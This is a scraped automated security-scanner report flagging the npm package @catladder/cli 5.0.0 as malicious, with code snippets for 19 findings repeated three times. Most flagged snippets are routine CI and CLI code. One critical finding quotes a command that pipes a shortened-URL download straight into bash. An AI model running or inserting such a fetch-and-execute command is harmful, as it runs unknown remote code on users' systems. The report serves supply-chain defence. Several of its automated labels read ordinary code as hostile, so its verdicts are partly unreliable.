@catladder/cli: Malicious npm security report (Block)

Loading npm security reports…

@catladder/cli: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

19 flagged

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView file

Lines 21-61javascript

21};

22const createReleaseJob = (config, images, options = {}) => {

23 var _a;

24 const method = (0, release_1.getReleaseMethod)(config);

25 const resolved = images.resolveRef({ catladderImage: method.image });

26 const imageNeeds = !options.skipImageNeeds &&

27 resolved.need &&

28 typeof resolved.need === "object"

29 ? [(0, createGithubJobs_1.githubGlobalJobId)(resolved.need.job)]

30 : [];

31 const allNeeds = [...imageNeeds, ...((_a = options.needs) !== null && _a !== void 0 ? _a : [])];

32 return {

33 name: "create release",

34 "runs-on": "ubuntu-latest",

35 container: {

36 image: resolved.image,

37 ...(resolved.fromRepoRegistry

38 ? {

39 credentials: {

40 username: "${{ github.actor }}",

41 password: "${{ github.token }}",

Medium

Secret Pattern

Package contains a possible secret pattern.

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L41

42 },

43 }

44 : {}),

45 },

46 // the release method pushes the version tag and release commit,

47 // and dispatches the taggedRelease workflow for the new tag (tags

48 // pushed with the job token don't trigger `on: push: tags`).

49 // Declaring permissions drops all default token grants, so the

50 // packages read access (needed to pull the job image from the repo

51 // registry) must be re-granted explicitly.

52 permissions: {

53 contents: "write",

54 actions: "write",

55 ...(resolved.fromRepoRegistry ? { packages: "read" } : {}),

56 },

57 ...(allNeeds.length > 0 ? { needs: allNeeds } : {}),

58 env: {

59 GITHUB_TOKEN: "${{ github.token }}",

60 // the release deploy key (provisioned by `project setup`): the

61 // release push must bypass the merge-gating ruleset, which only

247patternName = generic_password severity = medium line = 247 matchedText = password...}}",

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/githubReleaseJobs.js

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L247

dist/packages/pipeline/src/pipeline/detectPackageManager.jsView file

Lines 1-26javascript

1"use strict";

2var __importDefault = (this && this.__importDefault) || function (mod) {

3 return (mod && mod.__esModule) ?

dist/bundles/catci/index.jsView file

Lines 1-25javascript

1(()=>{var __webpack_modules__={403:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.gitConfigSet=t.gitConfigGet=void

dist/packages/pipeline/src/pipeline/projectFiles.jsView file

Lines 1-17javascript

1"use strict";

2Object.defineProperty(exports, "__esModule", { value: true });

3exports.projectFileExists = void 0;

4const fs_1

dist/apps/cli/src/completion.jsView file

Lines 169-209javascript

169}

170

171# catladder <TAB>

172_catladder_completions() { _catladder_do_complete 1; }

173

174# yarn catladder <TAB>

175_yarn_catladder_completions() {

176 [[ $CURRENT -

dist/bundles/catenv/index.jsView file

•Manifest-reachable source resolves another installed package, overwrites its runtime code, and injects package-defined remote behavior. dist/bundles/catenv/index.js: (0, open_1.default)(`https://${gitRemoteHost}/-/user_settings/personal_access_tokens`); const result = await (0, node_fetch_1.default)(`https://${gitRemoteHost}/api/v4/${path}`, { const maskableRegex = new RegExp("^[a-zA-Z0-9_+=/@:.~-]{8,}$"); // SEE https://gitlab.com/gitlab-org/gitlab-foss/-/blob/master/spec/frontend/ci_variable_list/components/ci_variable... return (0, promises_1.writeFile)(preferencesPath, "---\n{}", { await (0, promises_1.writeFile)(preferencesPath, (0, yaml_1.stringify)(newPreferences), { await (0, promises_1.writeFile)((0, path_1.join)(folder, ".gitignore"), "*\n"); await (0, promises_1.writeFile)(await

High

Entrypoint Foreign Package Code Overwrite

Manifest-reachable source overwrites another installed package with package-defined remote behavior.

dist/bundles/catenv/index.jsView on unpkg

66Cross-file remote execution chain: dist/bundles/catenv/index.js spawns dist/bundles/catci/index.js; helper contains network access plus dynamic code execution. L66: * the context of non-interactive runs (catenv via direnv): logging L67: * goes to stderr, any required interaction fails with a clear error. L68: */ ... L433: const gitRoot = await (0, projects_1.getGitRoot)(); L434: const currentDir = process.cwd(); L435: return Object.keys(config.components).find((c) => currentDir.startsWith((0, exports.getComponentFullPath)(gitRoot, config, c))); ... L478: } L479: return `${componentName}: http://localhost:${port}`; L480: })).then((lines) => lines.filter(Boolean)); ... L869: exports.gitConfigSet = exports.gitConfigGet = void 0; L870: const child_process_promise_1 = __nccwpck_require__(11542)

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

src/commands/project/commandGetMyTotalWorktime.tsView file

Lines 1-15typescript

1import { spawn } from "child-process-promise";

2import { defineCommand } from "../../core/defineCommand";

4export const commandGetMyTotalWorktime = defineCommand({

dist/apps/cli/src/publish/npmPublishJob.jsView file

6* derives version + dist-tag from the pipeline trigger, stamps the L7: * version into the package's package.json and runs `npm publish`. L8: */ L9: const child_process_1 = require("child_process"); L10: const promises_1 = require("fs/promises"); ... L12: const npm[redacted] = require("./npmPublishPlan"); L13: exports.DEFAULT_NPM_REGISTRY = "https://registry.npmjs.org/"; L14: /** ... L19: var _a, _b, _c, _d; L20: const env = process.env; L21: if (env.GITLAB_CI === "true") { L22: return {

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/apps/cli/src/publish/npmPublishJob.jsView on unpkg · L6

dist/apps/cli/src/commands/project/commandOpenGit.jsView file

11execute: async () => { L12: await (0, child_process_promise_1.exec)("npx git-open"); L13: },

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

dist/apps/cli/src/commands/project/commandOpenGit.jsView on unpkg · L11

dist/bundles/cli/xselView file

•path = dist/bundles/cli/xsel kind = native_binary sizeBytes = 129416 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/bundles/cli/xselView on unpkg

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView file

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = high_entropy_blob sizeBytes = 5696 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = compressed_blob sizeBytes = 5696 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = nested_archive_needs_inspection sizeBytes = 5696 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz

dist/bundles/cli/index.jsView file

•path = dist/bundles/cli/index.js kind = oversized_source_file sizeBytes = 14840229 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

dist/bundles/cli/index.jsView on unpkg

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView file

345patternName = generic_password severity = medium line = 345 matchedText = password...}}",

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/createGithubJobs.js

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView on unpkg · L345

Source & flagged code

19 flagged · loading source

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView file

41patternName = generic_password severity = medium line = 41 matchedText = password...}}",

Medium

Secret Pattern

Package contains a possible secret pattern.

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L41

247patternName = generic_password severity = medium line = 247 matchedText = password...}}",

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/githubReleaseJobs.js

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L247

dist/packages/pipeline/src/pipeline/detectPackageManager.jsView file

6exports.detectPackageManager = exports.parsePackageManagerField = void 0; L7: const child_process_promise_1 = require("child-process-promise"); L8: const fs_1 = require("fs");

High

Child Process

Package source references child process execution.

dist/packages/pipeline/src/pipeline/detectPackageManager.jsView on unpkg · L6

dist/bundles/catci/index.jsView file

24* Released under the MIT License. L25: */const n=r(952);const toRegexRange=(e,t,r)=>{if(n(e)===false){throw new TypeError("toRegexRange: expected the first argument to be a number")}if(t===void 0||e===t){return String(e...

High

Eval

Package source references dynamic code evaluation.

dist/bundles/catci/index.jsView on unpkg · L24

1(()=>{var __webpack_modules__={403:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.gitConfigSet=t.gitConfigGet=void 0;const n=r(1542);const argsJoin=e=>... L2: /*!

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

dist/bundles/catci/index.jsView on unpkg · L1

1(()=>{var __webpack_modules__={403:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.gitConfigSet=t.gitConfigGet=void 0;const n=r(1542);const argsJoin=e=>... L2: /*!

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

dist/bundles/catci/index.jsView on unpkg · L1

dist/packages/pipeline/src/pipeline/projectFiles.jsView file

3exports.projectFileExists = void 0; L4: const fs_1 = require("fs"); L5: /**

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/packages/pipeline/src/pipeline/projectFiles.jsView on unpkg · L3

dist/apps/cli/src/completion.jsView file

189function getZshrcPath() { L190: return (0, path_1.join)((0, os_1.homedir)(), ".zshrc"); L191: }

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

dist/apps/cli/src/completion.jsView on unpkg · L189

dist/bundles/catenv/index.jsView file

High

Entrypoint Foreign Package Code Overwrite

Manifest-reachable source overwrites another installed package with package-defined remote behavior.

dist/bundles/catenv/index.jsView on unpkg

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

src/commands/project/commandGetMyTotalWorktime.tsView file

9execute: async () => { L10: await spawn("sh", ["-c", "curl -s -L http://bit.ly/3VQEKNq | bash"], { L11: stdio: ["pipe", "inherit", "pipe"],

Critical

Download Execute

Source downloads or fetches remote code and executes it.

src/commands/project/commandGetMyTotalWorktime.tsView on unpkg · L9

dist/apps/cli/src/publish/npmPublishJob.jsView file

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/apps/cli/src/publish/npmPublishJob.jsView on unpkg · L6

dist/apps/cli/src/commands/project/commandOpenGit.jsView file

11execute: async () => { L12: await (0, child_process_promise_1.exec)("npx git-open"); L13: },

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

dist/apps/cli/src/commands/project/commandOpenGit.jsView on unpkg · L11

dist/bundles/cli/xselView file

•path = dist/bundles/cli/xsel kind = native_binary sizeBytes = 129416 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/bundles/cli/xselView on unpkg

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView file

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = high_entropy_blob sizeBytes = 5696 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = compressed_blob sizeBytes = 5696 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = nested_archive_needs_inspection sizeBytes = 5696 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz

dist/bundles/cli/index.jsView file

•path = dist/bundles/cli/index.js kind = oversized_source_file sizeBytes = 14840229 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

dist/bundles/cli/index.jsView on unpkg

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView file

345patternName = generic_password severity = medium line = 345 matchedText = password...}}",

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/createGithubJobs.js

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView on unpkg · L345

Source & flagged code

19 flagged

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView file

Lines 21-61javascript

21};

22const createReleaseJob = (config, images, options = {}) => {

23 var _a;

24 const method = (0, release_1.getReleaseMethod)(config);

25 const resolved = images.resolveRef({ catladderImage: method.image });

26 const imageNeeds = !options.skipImageNeeds &&

27 resolved.need &&

28 typeof resolved.need === "object"

29 ? [(0, createGithubJobs_1.githubGlobalJobId)(resolved.need.job)]

30 : [];

31 const allNeeds = [...imageNeeds, ...((_a = options.needs) !== null && _a !== void 0 ? _a : [])];

32 return {

33 name: "create release",

34 "runs-on": "ubuntu-latest",

35 container: {

36 image: resolved.image,

37 ...(resolved.fromRepoRegistry

38 ? {

39 credentials: {

40 username: "${{ github.actor }}",

41 password: "${{ github.token }}",

Medium

Secret Pattern

Package contains a possible secret pattern.

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L41

42 },

43 }

44 : {}),

45 },

46 // the release method pushes the version tag and release commit,

47 // and dispatches the taggedRelease workflow for the new tag (tags

48 // pushed with the job token don't trigger `on: push: tags`).

49 // Declaring permissions drops all default token grants, so the

50 // packages read access (needed to pull the job image from the repo

51 // registry) must be re-granted explicitly.

52 permissions: {

53 contents: "write",

54 actions: "write",

55 ...(resolved.fromRepoRegistry ? { packages: "read" } : {}),

56 },

57 ...(allNeeds.length > 0 ? { needs: allNeeds } : {}),

58 env: {

59 GITHUB_TOKEN: "${{ github.token }}",

60 // the release deploy key (provisioned by `project setup`): the

61 // release push must bypass the merge-gating ruleset, which only

247patternName = generic_password severity = medium line = 247 matchedText = password...}}",

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/githubReleaseJobs.js

dist/packages/pipeline/src/backends/github/githubReleaseJobs.jsView on unpkg · L247

dist/packages/pipeline/src/pipeline/detectPackageManager.jsView file

Lines 1-26javascript

1"use strict";

2var __importDefault = (this && this.__importDefault) || function (mod) {

3 return (mod && mod.__esModule) ?

dist/bundles/catci/index.jsView file

Lines 1-25javascript

1(()=>{var __webpack_modules__={403:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.gitConfigSet=t.gitConfigGet=void

dist/packages/pipeline/src/pipeline/projectFiles.jsView file

Lines 1-17javascript

1"use strict";

2Object.defineProperty(exports, "__esModule", { value: true });

3exports.projectFileExists = void 0;

4const fs_1

dist/apps/cli/src/completion.jsView file

Lines 169-209javascript

169}

170

171# catladder <TAB>

172_catladder_completions() { _catladder_do_complete 1; }

173

174# yarn catladder <TAB>

175_yarn_catladder_completions() {

176 [[ $CURRENT -

dist/bundles/catenv/index.jsView file

High

Entrypoint Foreign Package Code Overwrite

Manifest-reachable source overwrites another installed package with package-defined remote behavior.

dist/bundles/catenv/index.jsView on unpkg

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

src/commands/project/commandGetMyTotalWorktime.tsView file

Lines 1-15typescript

1import { spawn } from "child-process-promise";

2import { defineCommand } from "../../core/defineCommand";

4export const commandGetMyTotalWorktime = defineCommand({

dist/apps/cli/src/publish/npmPublishJob.jsView file

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/apps/cli/src/publish/npmPublishJob.jsView on unpkg · L6

dist/apps/cli/src/commands/project/commandOpenGit.jsView file

11execute: async () => { L12: await (0, child_process_promise_1.exec)("npx git-open"); L13: },

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

dist/apps/cli/src/commands/project/commandOpenGit.jsView on unpkg · L11

dist/bundles/cli/xselView file

•path = dist/bundles/cli/xsel kind = native_binary sizeBytes = 129416 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/bundles/cli/xselView on unpkg

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView file

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = high_entropy_blob sizeBytes = 5696 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = compressed_blob sizeBytes = 5696 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgzView on unpkg

•path = dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz kind = nested_archive_needs_inspection sizeBytes = 5696 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

dist/runner-images/kubernetes/helm-charts/the-panter-chart/charts/mailhog-5.0.1.tgz

dist/bundles/cli/index.jsView file

•path = dist/bundles/cli/index.js kind = oversized_source_file sizeBytes = 14840229 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

dist/bundles/cli/index.jsView on unpkg

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView file

345patternName = generic_password severity = medium line = 345 matchedText = password...}}",

Medium

Secret Pattern

Hardcoded password in dist/packages/pipeline/src/backends/github/createGithubJobs.js

dist/packages/pipeline/src/backends/github/createGithubJobs.jsView on unpkg · L345

@catladder/cli@5.0.0

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code